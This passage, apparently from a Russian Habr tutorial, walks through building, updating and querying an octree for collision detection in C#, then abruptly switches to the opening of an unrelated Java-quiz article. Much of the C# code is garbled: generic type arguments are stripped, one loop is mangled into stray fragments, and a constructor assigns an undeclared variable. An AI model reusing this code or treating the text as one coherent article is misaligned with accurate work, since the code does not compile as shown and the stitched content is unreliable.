То есть для каждой рекурсивной итерации я начинаю со списка объектов, содержащихся в ограничивающей области. Я проверяю, соблюдены ли условия завершения, и если нет, то мы создаём восемь разделённых ограничивающих пространств, которые идеально вписываются в нашу ограничивающую область. Затем я обхожу каждый из объектов в заданном списке и проверяю, вписывается ли он полностью в один из октантов. Если вписывается, то я вставляю его в соответствующий список этого октанта. В самом конце я проверяю количества в соответствующих списках октантов, создаю новые октодеревья, присоединяю их к текущему узлу и помечаю в битовой маске те дочерние октанты, которые активно используются.
Все оставшиеся объекты передаются вниз от родительского узла, но их нельзя просто опустить вниз в любой из дочерних узлов. Поэтому логично, что это должен быть самый маленький октант, который может содержать этот объект.
```
///
/// Наивное построение октодерева с нуля.
///
private void BuildTree() //завершено и протестировано
{
//завершаем рекурсию, если мы находимся в узле листа
if (m_objects.Count <= 1)
return;
Vector3 dimensions = m_region.Max - m_region.Min;
if (dimensions == Vector3.Zero)
{
FindEnclosingCube();
dimensions = m_region.Max - m_region.Min;
}
//Проверяем, больше ли размеры параллелепипеда минимальных размеров
if (dimensions.X <= MIN_SIZE && dimensions.Y <= MIN_SIZE && dimensions.Z <= MIN_SIZE)
{
return;
}
Vector3 half = dimensions / 2.0f;
Vector3 center = m_region.Min + half;
//Создаём подразделённые области для каждого октанта
BoundingBox[] octant = new BoundingBox[8];
octant[0] = new BoundingBox(m_region.Min, center);
octant[1] = new BoundingBox(new Vector3(center.X, m_region.Min.Y, m_region.Min.Z), new Vector3(m_region.Max.X, center.Y, center.Z));
octant[2] = new BoundingBox(new Vector3(center.X, m_region.Min.Y, center.Z), new Vector3(m_region.Max.X, center.Y, m_region.Max.Z));
octant[3] = new BoundingBox(new Vector3(m_region.Min.X, m_region.Min.Y, center.Z), new Vector3(center.X, center.Y, m_region.Max.Z));
octant[4] = new BoundingBox(new Vector3(m_region.Min.X, center.Y, m_region.Min.Z), new Vector3(center.X, m_region.Max.Y, center.Z));
octant[5] = new BoundingBox(new Vector3(center.X, center.Y, m_region.Min.Z), new Vector3(m_region.Max.X, m_region.Max.Y, center.Z));
octant[6] = new BoundingBox(center, m_region.Max);
octant[7] = new BoundingBox(new Vector3(m_region.Min.X, center.Y, center.Z), new Vector3(center.X, m_region.Max.Y, m_region.Max.Z));
//Здесь будут содержаться все наши объекты, которые входят в каждый из соответствующих октантов.
List[] octList = new List[8];
for (int i = 0; i < 8; i++) octList = new List();
//В этом списке содержатся все объекты, перемещённые вниз по дереву. Их можно удалить из списка этого объекта.
List delist = new List();
foreach (Physical obj in m_objects)
{
if (obj.BoundingBox.Min != obj.BoundingBox.Max)
{
for (int a = 0; a < 8; a++)
{
if (octant[a].Contains(obj.BoundingBox) == ContainmentType.Contains)
{
octList[a].Add(obj);
delist.Add(obj);
break;
}
}
}
else if (obj.BoundingSphere.Radius != 0)
{
for (int a = 0; a < 8; a++)
{
if (octant[a].Contains(obj.BoundingSphere) == ContainmentType.Contains)
{
octList[a].Add(obj);
delist.Add(obj);
break;
}
}
}
}
//Убираем из списка каждый перемещённый из этого узла объект.
foreach (Physical obj in delist)
m_objects.Remove(obj);
//Создаём дочерние узлы, в которых находятся элементы, содержащиеся в ограничивающей области
for (int a = 0; a < 8; a++)
{
if (octList[a].Count != 0)
{
m_childNode[a] = CreateNode(octant[a], octList[a]);
m_activeNodes |= (byte)(1 << a);
m_childNode[a].BuildTree();
}
}
m_treeBuilt = true;
m_treeReady = true;
}
private OctTree CreateNode(BoundingBox region, List objList) //завершено и протестировано
{
if (objList.Count == 0)
return null;
OctTree ret = new OctTree(region, objList);
ret._parent = this;
return ret;
}
private OctTree CreateNode(BoundingBox region, Physical Item)
{
List objList = new List(1); //жертвуем потенциальным процессорным временем ради меньшего объёма занимаемой памяти
objList.Add(Item);
OctTree ret = new OctTree(region, objList);
ret._parent = this;
return ret;
}
```
Обновление дерева
-----------------
Представим, что в нашем дереве есть множество *движущихся* объектов. Если какой-то объект переместился, есть высокая вероятность того, что он вышел за пределы ограничивающего его октанта. Как обрабатывать изменения положений объектов, сохраняя целостность структуры дерева?
**Техника 1: делаем очень просто, удаляем и перестраиваем всё заново.**
В некоторых реализациях октодеревьев в каждом кадре создаётся новое дерево и удаляется старое. Это очень просто, такая техника работает и если она вам подходит, то стоит выбрать её. Обычно считается, что предварительные затраты времени процессора на перестроение дерева в каждом кадре намного дешевле, чем выполнение проверок коллизий простым перебором, а время программистов слишком ценно, чтобы тратить его на необязательные оптимизации. У тех из нас, кто любит трудности и переусложнения, техника «удалить и перестроить» вызовет небольшие проблемы:
1. Каждый раз при перестроении дерева вы постоянно выделяете и освобождаете память. На выделение новой памяти тратится немного ресурсов. По возможности вы стремитесь минимизировать количество выделяемой и освобождаемой памяти, повторно используя уже имеющуюся память.
2. Бо́льшая часть дерева не изменяется, поэтому постоянная перестройка одних и тех же ветвей — это пустая трата процессорного времени.
**Техника 2: сохраняем существующее дерево, обновляем изменённые ветви.**
Я заметил, что большинство ветвей дерева не требует обновлений. Они просто содержит стационарные объекты.
Разве не будет замечательно, если вместо перестройки всего дерева в каждом кадре мы просто будем обновлять части дерева, требующие обновления? Эта техника сохраняет существующее дерево и обновляет только те ветви, в которых содержится переместившийся объект. Её реализовать немного сложнее, но и интереснее, так что давайте этим займёмся!
В своём первом эксперименте я ошибочно считал, что объект в дочернем узле может подняться или спуститься только на один переход дерева. Это неверно. Если объект в дочернем узле достигает края узла, и этот край тоже является краем ограничивающего родительского узла, то объект нужно будет вставить выше его родителя, а возможно, и ещё выше. То есть в результате мы не знаем, как высоко может подняться объект в дереве. Кроме того, объект может или удобно разместиться в дочернем узле, или в дочернем узле дочернего узла. Мы не знаем и как далеко *вниз* он может спуститься по дереву.
К счастью, поскольку мы храним ссылку на родителя каждого узла, мы можем просто решить эту проблему рекурсией, задействовав минимальные вычисления!
Основная идея алгоритма обновления заключается в том, чтобы дать всем объектам в дереве сначала обновиться самим. Некоторые из них перемещаются или меняют размер. Мы хотим получить список всех переместившихся объектов, чтобы метод обновления объектов возвращал нам булево значение, определяющее, сменилось ли ограничивающее его пространство.
Получив список всех переместившихся объектов, мы начнём с текущего узла и попробуем обходить дерево *вверх*, пока не найдём узел, полностью вмещающий в себя переместившийся объект (в большинстве случаев объект будет по-прежнему находиться в текущем узле). Если объект не полностью находится в текущем узле, мы продолжаем двигаться вверх до следующего родительского узла. В наихудшем случае объект будет гарантированно находиться в корневом узле.
После того, как мы переместили объекты как можно *выше* по дереву, мы попробуем спустить их как можно ниже по дереву. Чаще всего, если нам удалось переместить объект вверх, то опустить вниз его уже не удастся. Но если объект переместился так, что его может содержать дочерний узел текущего узла, то мы имеем возможность спустить его вниз по дереву. Важно иметь возможность двигать объекты и вниз по дереву, или все подвижные объекты постепенно переместятся вверх, и у нас возникнут проблемы со скоростью в процедурах распознавания коллизий.
**Удаление ветвей**
В некоторых случаях объект может переместиться из узла и этот узел больше не будет содержать объекты, как и все его потомки. В таком случае у нас образуется *пустая ветвь*. Тогда нам нужно пометить её и отсечь эту мёртвую ветвь от дерева.
Здесь возникает интересный вопрос: *когда* нужно отрезать мёртвые ветви от дерева? На выделение новой памяти тратится время, так что если мы будем *повторно использовать* ту же область в течение нескольких циклов, то зачем удалять её сразу? Как долго можно хранить её, пока не станет затратнее сохранять мёртвую ветвь?
Я решил дать каждому из узлов таймер обратного отсчёта, активирующийся, когда ветвь становится мёртвой. Если объект перемещается в октант этого узла, когда активен таймер смерти, я удваиваю срок жизни и сбрасываю таймер. Это гарантирует, что часто используемые октанты останутся активными и не будут удаляться, а нечасто используемые узлы будут удаляться до того, как их хранение станет слишком затратным.
Полезность этой техники очевидна из практического примера с пулемётом, выпускающим поток пуль. Эти пули летят очень близко друг к другу, поэтому было бы неудобно удалять узел сразу после того, как из него вылетит первая пуля, чтобы потом восстановить его через доли секунды при попадании в него второй пули. Пуль много, поэтому лучше сохранять эти октанты на какое-то время. Если дочерняя ветвь пуста и долго не использовалась, то можно без проблем отрезать её от дерева.
Давайте теперь посмотрим на код, выполняющий всю эту магию.
Для начала, у нас есть метод *Update()*. В нём рекурсивно вызываются все дочерние деревья. Он перемещает все объекты, наводит порядок в структуре данных, а затем перемещает каждый сдвинувшийся объект в соответствующий узел (родительский или дочерний).
```
public void Update(GameTime gameTime)
{
if (m_treeBuilt == true)
{
//Начинаем обратный отсчёт таймера смерти для каждого узла листа, у которого нет объектов или потомков.
//Когда таймер достигает нуля, мы удаляем лист. Если узел повторно использован до его смерти, то удваиваем срок жизни.
//Это даёт нам характеристику частотности использования и позволяет нам избежать необязательного выделения и освобождения памяти
if (m_objects.Count == 0)
{
if (HasChildren == false)
{
if (m_curLife == -1)
m_curLife = m_maxLifespan;
else if (m_curLife > 0)
{
m_curLife--;
}
}
}
else
{
if (m_curLife != -1)
{
if(m_maxLifespan <= 64)
m_maxLifespan *= 2;
m_curLife = -1;
}
}
List movedObjects = new List(m_objects.Count);
//Обходим и обновляем каждый объект в текущем узле дерева
foreach (Physical gameObj in m_objects)
{
//мы должны выяснить, переместился ли объект, то есть нужно ли обновлять этот узел дерева.
if (gameObj.Update(gameTime))
{
movedObjects.Add(gameObj);
}
}
//отсекаем все мёртвые объекты от дерева.
int listSize = m_objects.Count;
for (int a = 0; a < listSize; a++)
{
if (!m_objects[a].Alive)
{
if (movedObjects.Contains(m_objects[a]))
movedObjects.Remove(m_objects[a]);
m_objects.RemoveAt(a--);
listSize--;
}
}
//рекурсивно обновляем все дочерние узлы.
for( int flags = m_activeNodes, index = 0; flags > 0; flags >>=1, index++)
if ((flags & 1) == 1) m_childNode[index].Update(gameTime);
//Если объект переместился, мы можем вставить его в родительский узел, таким образом он вставится в правильный узел дерева.
//учтите, что это нужно делать в последнюю очередь, чтобы случайно не обновить один объект несколько раз за кадр.
foreach (Physical movedObj in movedObjects)
{
OctTree current = this;
//выясняем, насколько высоко по дереву нам нужно подняться, чтобы вставить перемещённый объект
//мы используем ограничивающий параллелепипед или сферу
//пробуем переместить объект в ограничивающий родительский узел, пока он не поместится полностью
if (movedObj.BoundingBox.Max != movedObj.BoundingBox.Min)
{
while (current.m_region.Contains(movedObj.BoundingBox) != ContainmentType.Contains)
if (current._parent != null) current = current._parent;
else break; //предотвращаем бесконечные циклы, когда выходим за границы области корневого узла
}
else
{
while (current.m_region.Contains(movedObj.BoundingSphere) != ContainmentType.Contains)//получается, что мы используем ограничивающую сферу, так что проверяем её содержимое.
if (current._parent != null) current = current._parent;
else break;
}
//теперь удаляем объект из текущего узла и вставляем в содержащий его узел.
m_objects.Remove(movedObj);
current.Insert(movedObj); //здесь мы пытаемся вставить объект настолько глубоко в дерево, насколько можем.
}
//отсекаем все мёртвые ветви дерева
for (int flags = m_activeNodes, index = 0; flags > 0; flags >>= 1, index++)
if ((flags & 1) == 1 && m_childNode[index].m_curLife == 0)
{
m_childNode[index] = null;
m_activeNodes ^= (byte)(1 << index); //удаляем узел из списка флагов активных узлов
}
//теперь, когда все объекты перемещены и вставлены в правильные узлы октодерева, можно проверить коллизии.
if (IsRoot == true)
{
//Рекурсивно собираем все коллизии и составляем их список.
//это простое сравнение всех объектов в текущем корневом узле со всеми объектами во всех дочерних узлах.
//примечание: можно предположить, что коллизии могут происходить только между переместившимися объектами.
//примечание 2: взрыв может центрироваться в точке, но со временем увеличиваться. В этом случае следует заменить метод обновления для взрыва.
List irList = GetIntersection(new List());
foreach (IntersectionRecord ir in irList)
{
if (ir.PhysicalObject != null)
ir.PhysicalObject.HandleIntersection(ir);
if (ir.OtherPhysicalObject != null)
ir.OtherPhysicalObject.HandleIntersection(ir);
}
}
}
else
{
}
}
```
Заметьте, что для перемещённых объектов мы вызываем метод *Insert()*. Вставка объектов в дерево *очень* похожа на метод, использованный для создания первоначального дерева. *Insert()* пытается как можно ниже спустить объекты вниз по дереву. Также я стремлюсь избегать создания новых ограничивающих пространств, если можно использовать уже имеющиеся в дочернем узле.
```
///
/// Дерево уже создано, поэтому мы попробуем вставить элемент в дерево, не перестраивая его полностью
///
/// Физический объект
/// Физический объект для вставки в дерево
private void Insert(T Item) where T : Physical
{
/*проверяем, что не вставляем объект глубже, чем нужно
- если текущий узел является пустым узлом листа, то просто вставляем.*/
if (m_objects.Count <= 1 && m_activeNodes == 0)
{
m_objects.Add(Item);
return;
}
Vector3 dimensions = m_region.Max - m_region.Min;
//Проверяем, больше ли размеры параллелепипеда минимальных размеров
if (dimensions.X <= MIN_SIZE && dimensions.Y <= MIN_SIZE && dimensions.Z <= MIN_SIZE)
{
m_objects.Add(Item);
return;
}
Vector3 half = dimensions / 2.0f;
Vector3 center = m_region.Min + half;
//Находим или создаём подразделённые области для каждого октанта в текущей области
BoundingBox[] childOctant = new BoundingBox[8];
childOctant[0] = (m_childNode[0] != null) ? m_childNode[0].m_region : new BoundingBox(m_region.Min, center);
childOctant[1] = (m_childNode[1] != null) ? m_childNode[1].m_region : new BoundingBox(new Vector3(center.X, m_region.Min.Y, m_region.Min.Z), new Vector3(m_region.Max.X, center.Y, center.Z));
childOctant[2] = (m_childNode[2] != null) ? m_childNode[2].m_region : new BoundingBox(new Vector3(center.X, m_region.Min.Y, center.Z), new Vector3(m_region.Max.X, center.Y, m_region.Max.Z));
childOctant[3] = (m_childNode[3] != null) ? m_childNode[3].m_region : new BoundingBox(new Vector3(m_region.Min.X, m_region.Min.Y, center.Z), new Vector3(center.X, center.Y, m_region.Max.Z));
childOctant[4] = (m_childNode[4] != null) ? m_childNode[4].m_region : new BoundingBox(new Vector3(m_region.Min.X, center.Y, m_region.Min.Z), new Vector3(center.X, m_region.Max.Y, center.Z));
childOctant[5] = (m_childNode[5] != null) ? m_childNode[5].m_region : new BoundingBox(new Vector3(center.X, center.Y, m_region.Min.Z), new Vector3(m_region.Max.X, m_region.Max.Y, center.Z));
childOctant[6] = (m_childNode[6] != null) ? m_childNode[6].m_region : new BoundingBox(center, m_region.Max);
childOctant[7] = (m_childNode[7] != null) ? m_childNode[7].m_region : new BoundingBox(new Vector3(m_region.Min.X, center.Y, center.Z), new Vector3(center.X, m_region.Max.Y, m_region.Max.Z));
//Во-первых, полностью ли помещается элемент в корневой ограничивающий параллелепипед?
//примечание 2: на самом деле это не стоит компенсировать. Если объект находится за пределами заданных границ, то у нас возникла проблема/ошибка.
// Неверно. Наш первоначальный ограничивающий параллелепипед рельефа ограничивает её высоту самым большим пиком. Летающие объекты будут выше него.
// Исправление: я изменил размеры ограничивающего параллелепипеда до 256x256x256. Этого должно быть достаточно.
if (Item.BoundingBox.Max != Item.BoundingBox.Min && m_region.Contains(Item.BoundingBox) == ContainmentType.Contains)
{
bool found = false;
//пробуем поместить объект в дочерний узел. Если он не помещается в дочерний узел, то вставляем его в список объектов текущего узла.
for(int a=0;a<8;a++)
{
//полностью ли объект помещается в квадрант?
if (childOctant[a].Contains(Item.BoundingBox) == ContainmentType.Contains)
{
if (m_childNode[a] != null)
m_childNode[a].Insert(Item); //Добавляем элемент в это дерево и пусть дочернее дерево само разбирается, что с ним делать
else
{
m_childNode[a] = CreateNode(childOctant[a], Item); //создаём новый узел дерева с элементом
m_activeNodes |= (byte)(1 << a);
}
found = true;
}
}
if(!found) m_objects.Add(Item);
}
else if (Item.BoundingSphere.Radius != 0 && m_region.Contains(Item.BoundingSphere) == ContainmentType.Contains)
{
bool found = false;
//пробуем поместить объект в дочерний узел. Если он не помещается в дочерний узел, то вставляем его в список объектов текущего узла.
for (int a = 0; a < 8; a++)
{
//помещается ли объект в дочерний квадрант?
if (childOctant[a].Contains(Item.BoundingSphere) == ContainmentType.Contains)
{
if (m_childNode[a] != null)
m_childNode[a].Insert(Item); //AДобавляем элемент в это дерево и пусть дочернее дерево само разбирается, что с ним делать
else
{
m_childNode[a] = CreateNode(childOctant[a], Item); //создаём новый узел дерева с элементом
m_activeNodes |= (byte)(1 << a);
}
found = true;
}
}
if (!found) m_objects.Add(Item);
}
else
{
//Элемент или находится за пределами ограничивающего параллелепипеда, или пересекает его. Как бы то ни было, нам нужно перестроить
//всё дерево, увеличив содержащий её ограничивающий параллелепипед
//BoundingBox enclosingArea = FindBox();
BuildTree();
}
}
```
Распознавание коллизий
----------------------
Наконец, мы построили октодерево и все объекты находятся там, где нужно. Как выполнить распознавание коллизий? Для начала давайте перечислим различные способы, которыми мы хотим распознавать коллизии:
1. **Пересечения с усечёнными пирамидами.** У нас может быть усечённая пирамида, пересекающаяся с областью мира. Нам нужны только объекты, пересекающиеся с этой усечённой пирамидой. Это особенно удобно для отсечения областей за пределами области видимости камеры и для определения того, какие объекты находятся в области выбора мыши.
2. **Пересечения с лучами.** Нам может понадобиться испустить направленный луч из заданной точки и узнать, с каким первым объектом он пересечётся, или получить список всех объектов, которые пересекаются с лучом (например, для рейлгана). Это очень удобно для [выделения мышью](http://away3d.com/tutorials/Introduction_to_Mouse_Picking). Если пользователь щёлкает на экране, мы должны отрисовать луч и узнать, на что он нажал.
3. **Пересечения с ограничивающими параллелепипедами.** Нам нужно знать, какие объекты мира пересекаются с заданным параллелепипедом. Это наиболее полезно для игровых объектов в форме «коробки» (домов, машин и т.д.).
4. **Пересечения с ограничивающими сферами.** Мы хотим знать, какие объекты пересекаются с заданной ограничивающей сферой. У большинства объектов скорее всего будет использоваться для грубого распознавания коллизий ограничивающие сферы, потому что математика их расчётов наименее затратна и довольно проста.
Основная идея рекурсивной обработки распознавания коллизий для октодерева заключается в том, что мы начинаем с корневого/текущего узла и проверяем пересечения всех объектов в этом узле с пересекающей фигурой.
Затем выполняется проверка пересечения с ограничивающим параллелепипедом для всех активных дочерних узлов с пересекающей фигурой. Если проверка пересечения для дочернего узла оканчивается неудачей, мы полностью игнорируем остальную часть дерева этого дочернего узла. Если дочерний узел проходит проверку на пересечение, то мы рекурсивно обходим вниз дерево и повторяем процесс. Каждый узел должен передать вызывающей его процедуре *список* записей пересечений. Эти пересечения процедура присоединяет к собственному списку пересечений. После завершения рекурсии исходная вызывающая процедура будет иметь список всех пересечений для заданной пересекающей фигуры.
Красота такого подхода в том, что для его реализации нужно очень мало кода, а его производительность очень высока. Во множестве таких коллизий вы, скорее всего, будете получать множество результатов. Нам также нужен какой-то способ отклика на каждую коллизию в зависимости от того, какие объекты в неё вступили. Например, персонаж игрока должен подбирать висящий в воздухе бонус (quad damage!), но ракета не может взрываться, сталкиваясь с этим бонусом.
Я создал новый класс, в котором будет храниться информация о каждом пересечении. Этот класс содержит ссылки на пересекающиеся объекты, точку пересечения, нормаль в точках пересечения и т.д. Такие записи пересечений становятся очень полезными, когда мы будем передавать их объекту, чтобы он их обработал.
Для полноты и ясности я представил ниже мой код записи пересечений:
```
public class IntersectionRecord
{
Vector3 m_position;
///
/// Конкретная точка в 3D-пространстве, в которой произошло пересечение.
///
public Vector3 Position
{
get
{
return m_position;
}
}
Vector3 m_normal;
///
/// Это нормаль поверхности в точке пересечения
///
public Vector3 Normal
{
get
{
return m_normal;
}
}
Ray m_ray;
///
/// Это луч, который создаёт пересечение
///
public Ray Ray
{
get
{
return m_ray;
}
}
Physical m_intersectedObject1;
///
/// Это объект, который был пересечён
///
public Physical PhysicalObject
{
get
{
return m_intersectedObject1;
}
set
{
m_intersectedObject1 = value;
}
} Physical m_intersectedObject2;
///
/// Это другой пересечённый объект (может быть равным null, например, в случае пересечения луч-объект)
///
public Physical OtherPhysicalObject
{
get
{
return m_intersectedObject2;
}
set
{
m_intersectedObject2 = value;
}
}
///
/// Это ссылка на текущий узел в октодереве, в котором возникла коллизия. В некоторых случаях обработчику коллизий
/// может потребоваться возможность создания новых объектов и их вставки в дерево. Этот узел - хорошая начальная точка для вставки таких объектов,
/// потому что это очень близкое приближение к тому, где они должны находиться в дереве.
///
OctTree m_treeNode;
///
/// Сверяем идентификаторы объектов между двумя записями пересечений. Если они совпадают в любом порядке, то у нас есть дубликат.
///
///другой объект, с которым мы сравниваем
/// истинно, если записи - это пересечение для одной пары объектов, в противном случае ложно.
public override bool Equals(object otherRecord)
{
IntersectionRecord o = (IntersectionRecord)otherRecord;
// //возврат
(m_intersectedObject1 != null && m_intersectedObject2 != null && m_intersectedObject1.ID == m_intersectedObject2.ID);
if (otherRecord == null) return false;
if (o.m_intersectedObject1.ID == m_intersectedObject1.ID && o.m_intersectedObject2.ID == m_intersectedObject2.ID) return true;
if (o.m_intersectedObject1.ID == m_intersectedObject2.ID && o.m_intersectedObject2.ID == m_intersectedObject1.ID) return true;
return false;
}
double m_distance;
///
/// Это расстояние от луча до точки пересечения.
/// Если вы получаете несколько пересечений, обычно нужно использовать ближайшую точку коллизии.
///
public double Distance
{
get
{
return m_distance;
}
}
private bool m_hasHit = false;
public bool HasHit
{
get
{
return m_hasHit;
}
}
public IntersectionRecord()
{
m_position = Vector3.Zero;
m_normal = Vector3.Zero;
m_ray = new Ray();
m_distance = float.MaxValue;
m_intersectedObject1 = null;
}
public IntersectionRecord(Vector3 hitPos, Vector3 hitNormal, Ray ray, double distance)
{
m_position = hitPos;
m_normal = hitNormal;
m_ray = ray;
m_distance = distance;
//
m_hitObject = hitGeom; m_hasHit = true;
}
///
/// Создаёт новую запись пересечений, сообщающую о том, было ли пересечение, и с каким объектом оно произошло.
///
///Не обязательно: объект, с которым произошло пересечение. По умолчанию null.
public IntersectionRecord(Physical hitObject = null)
{
m_hasHit = hitObject != null;
m_intersectedObject1 = hitObject;
m_position = Vector3.Zero;
m_normal = Vector3.Zero;
m_ray = new Ray();
m_distance = 0.0f;
}
}
```
Пересечение с ограничивающей усечённой пирамидой
------------------------------------------------
```
///
/// Даёт список всех записей пересечений, которые пересекают или содержатся в области заданной усечённой пирамиды
///
/// Ограничивающая усечённая пирамида для проверки пересечения/нахождения внутри
/// Список записей пересечений с коллизиями
private List GetIntersection(BoundingFrustum frustum, Physical.PhysicalType type = Physical.PhysicalType.ALL)
{
if (m_objects.Count == 0 && HasChildren == false)
//завершение всех рекурсий
return null;
List ret = new List();
//проверка каждого объекта в списке на пересечение
foreach (Physical obj in m_objects)
{
//пропуск всех объектов, не удовлетворяющих заданным критериям
if ((int)((int)type & (int)obj.Type) == 0) continue;
//проверка на пересечение
IntersectionRecord ir = obj.Intersects(frustum);
if (ir != null) ret.Add(ir);
}
//проверка каждого объекта в списке на пересечение
for (int a = 0; a < 8; a++)
{
if (m_childNode[a] != null && (frustum.Contains(m_childNode[a].m_region) == ContainmentType.Intersects || frustum.Contains(m_childNode[a].m_region) == ContainmentType.Contains))
{
List hitList = m_childNode[a].GetIntersection(frustum);
if (hitList != null)
{
foreach (IntersectionRecord ir in hitList) ret.Add(ir);
}
}
}
return ret;
}
```
Список пересечений ограничивающей усечённой пирамиды можно использовать для рендеринга тех объектов, которые будут видимы в текущей области видимости камеры. Я использую базу данных сцены, чтобы выяснить, как рендерить все объекты в игровом мире. Вот фрагмент кода из моей функции рендеринга, использующей ограничивающую усечённую пирамиду активной камеры:
```
///
/// Рендерит каждый активный объект в базе данных сцены
///
///
public int Render()
{
int triangles = 0;
// Рендерит все видимые объекты, рекурсивно обходя октодерево и проверяя пересечения
//с текущей усечённой пирамидой области видимости камеры
foreach (IntersectionRecord ir in m_octTree.AllIntersections(m_cameras[m_activeCamera].Frustum))
{
ir.PhysicalObject.SetDirectionalLight(m_globalLight[0].Direction, m_globalLight[0].Color);
ir.PhysicalObject.View = m_cameras[m_activeCamera].View;
ir.PhysicalObject.Projection = m_cameras[m_activeCamera].Projection;
ir.PhysicalObject.UpdateLOD(m_cameras[m_activeCamera]);
triangles += ir.PhysicalObject.Render(m_cameras[m_activeCamera]);
}
return triangles;
}
```
Пересечение с лучом
-------------------
```
///
/// Передаёт список записей пересечений для всех объектов, пересекающихся с заданным лучом
///
/// Луч, с которым пересекаются объекты
/// Список всех пересечений
private List GetIntersection(Ray intersectRay, Physical.PhysicalType type = Physical.PhysicalType.ALL)
{
if (m_objects.Count == 0 && HasChildren == false)
//завершение всех рекурсий
return null;
List ret = new List();
// луч пересекает эту область, поэтому нам нужно проверить пересечения со всеми содержащимися в ней объектами и дочерними областями.
// проверяем на пересечения каждый объект в списке
foreach (Physical obj in m_objects)
{
// пропуск всех объектов, не удовлетворяющих заданным критериям
if ((int)((int)type & (int)obj.Type) == 0) continue;
if (obj.BoundingBox.Intersects(intersectRay) != null)
{
IntersectionRecord ir = obj.Intersects(intersectRay);
if (ir.HasHit) ret.Add(ir);
}
}
// проверка на пересечение каждого дочернего октанта
for (int a = 0; a < 8; a++)
{
if (m_childNode[a] != null && m_childNode[a].m_region.Intersects(intersectRay) != null)
{ List hits = m_childNode[a].GetIntersection(intersectRay, type);
if (hits != null)
{
foreach (IntersectionRecord ir in hits) ret.Add(ir);
}
}
}
return ret;
}
```
Пересечение со списком объектов
-------------------------------
Это особенно полезный рекурсивный способ определения пересечения списка объектов в текущем узле с объектами во всех дочерних узлах (применение см. в методе *Update()*). Этот метод будет вызываться наиболее часто, поэтому неплохо бы сделать его правильным и эффективным.
Начнём с корневого узла дерева. Сравниваем на предмет коллизий все объекты в текущем узле со всеми остальными объектами текущего узла. Фиксируем все коллизии как записи пересечений и вставляем их в список. Затем передаём список проверенных объектов вниз, к дочерним узлам. Дочерние узлы проверяют пересечение своих объектов с ними же, а потом с объектами, которые мы передали вниз. Дочерние узлы сохраняют все коллизии в список и передают этот список родителю. Затем родитель берёт список коллизий, полученный из дочерних узлов, добавляет его к собственному списку коллизий, и передаёт его вызывающей процедуре.
Если посчитать количество проверок коллизий на иллюстрациях, то можно увидеть, что проверено 29 возможных коллизий и обнаружено 4. Это намного лучше, чем [11\*11 = 121] проверка коллизий.
```
private List GetIntersection(List parentObjs, Physical.PhysicalType type = Physical.PhysicalType.ALL)
{
List intersections = new List();
// считаем, что для всех родительских объектов уже были выполнены проверки коллизий.
// проверяем коллизии всех родительских объектов со всеми объектами в локальном узле
foreach (Physical pObj in parentObjs)
{
foreach (Physical lObj in m_objects)
{
// Проверяем коллизию двух объектов. Они сами решают, выполнять ли грубые или детальные проверки.
// Нам важно только, произошла ли коллизия.
IntersectionRecord ir = pObj.Intersects(lObj);
if (ir != null)
{
intersections.Add(ir);
}
}
}
// Теперь проверяем коллизии всех локальных объектов между собой
if (m_objects.Count > 1)
{ #region self-congratulation
/* * Это довольно примечательная часть кода. Обычно используется просто два цикла foreach, примерно так:
* foreach(Physical lObj1 in m_objects)
* {
* foreach(Physical lObj2 in m_objects)
* {
* // код проверки пересечения
* }
* }
*
* Проблема в том, что они выполняются O(N*N) раз и в том, что проверяются коллизии уже проверенных объектов.
* Представьте, что у нас есть множество из четырёх элементов: {1,2,3,4}
* Сначала мы проверяем {1} с {1,2,3,4}
* Затем проверяем {2} с {1,2,3,4},
* но мы уже проверяли {1} с {2}, так что проверка {2} с {1} будет пустой тратой времени. Можно ли пропустить эту проверку, устранив {1}?
* Тогда всего мы получим 4+3+2+1 проверок коллизий, что равно времени O(N(N+1)/2). Если N = 10, мы уже делаем вдвое меньшее количество проверок.
* Мы не можем просто удалять элемент в конце второго цикла for, потому что прервём итератор первого цикла foreach, поэтому придётся использовать
* обычное
for(int i=0;i tmp = new List(m_objects.Count);
tmp.AddRange(m_objects);
while (tmp.Count > 0)
{
foreach (Physical lObj2 in tmp)
{
if (tmp[tmp.Count - 1] == lObj2 || (tmp[tmp.Count - 1].IsStatic && lObj2.IsStatic)) continue;
IntersectionRecord ir = tmp[tmp.Count - 1].Intersects(lObj2);
if (ir != null) intersections.Add(ir);
}
// Удаляем этот объект из временного списка, чтобы выполнять процедуру O(N(N+1)/2) раз вместо O(N*N)
tmp.RemoveAt(tmp.Count-1);
}
}
// Теперь объединяем список локальных объектов со списком родительских объектов, а затем передаём его вниз всем дочерним узлам.
foreach (Physical lObj in m_objects) if (lObj.IsStatic == false) parentObjs.Add(lObj);
//parentObjs.AddRange(m_objects);
//каждый дочерний узел даст нам список записей пересечений, который мы затем объединим с собственными записями пересечений.
for (int flags = m_activeNodes, index = 0; flags > 0; flags >>= 1, index++)
if ((flags & 1) == 1) intersections.AddRange(m_childNode[index].GetIntersection(parentObjs, type));
return intersections;
} ;i++)>
```
Скриншоты демо
--------------
*Это вид игрового мира с расстояния, показывающий контуры всех ограничивающих объёмов октодерева.*
*Здесь показана очередь из снарядов, летящих через игровой мир. Часто используемые узлы сохраняются, а не удаляются.* | https://habr.com/ru/post/334990/ | null | ru | null |
# Хитрые задачи по Java
Совсем недавно я сдал **OCA Java SE 7 Programmer I**. За время подготовки успел решить огромное количество задач и извлечь из них много тонких моментов языка. Самые интересные и ловкие — сохранял на будущее. И вот у меня накопилась небольшая личная коллекция, лучшую часть которой я здесь и опишу.
В замечательной статье [Знаешь ли ты JAVA, %username%](http://habrahabr.ru/post/111189/) и её [второй части](http://habrahabr.ru/post/112674/) автор тоже поделился опытом после подготовки. Однако я пришёл к выводу, что могу добавить что-то своё. Так и зародилась эта статья.
Задачи
======
Итак, начнём. Я разбил все хитрости на маленькие задачки, которые составил специально для вас. Тонкости языка выделяются в чистом виде — без лишних наворотов и заблуждений, как это было в тестах. Также я рекомендую вам сначала ответить на вопрос **с точностью до символа и записать куда-нибудь**, а потом уже смотреть правильный ответ. Интересно, сколько пользователей, решивших этот тест, ответит больше чем на половину? И не забывайте, что все эти примеры ориентированы на Java 7.
1)Скомпилируется ли данный код и если да — то каким будет вывод?
```
long year = 201l;
System.out.print(year);
```
**Ответ**201**Пояснение**Я специально выключил подсветку — чтобы не было заметно подвоха. Иначе последняя буква визуально выделялась бы — а в ней вся соль вопроса.
В английском языке строчная буква l очень похожа на цифру 1. И этим примером я хочу вас предостеречь — **никогда не используйте l маленькую для обозначения long-литералов**, хотя Java это позволяет. И вообще не используете её там, где потенциально может быть единица. Просто возьмите за правило использовать прописную L, как это и делает большинство программистов.
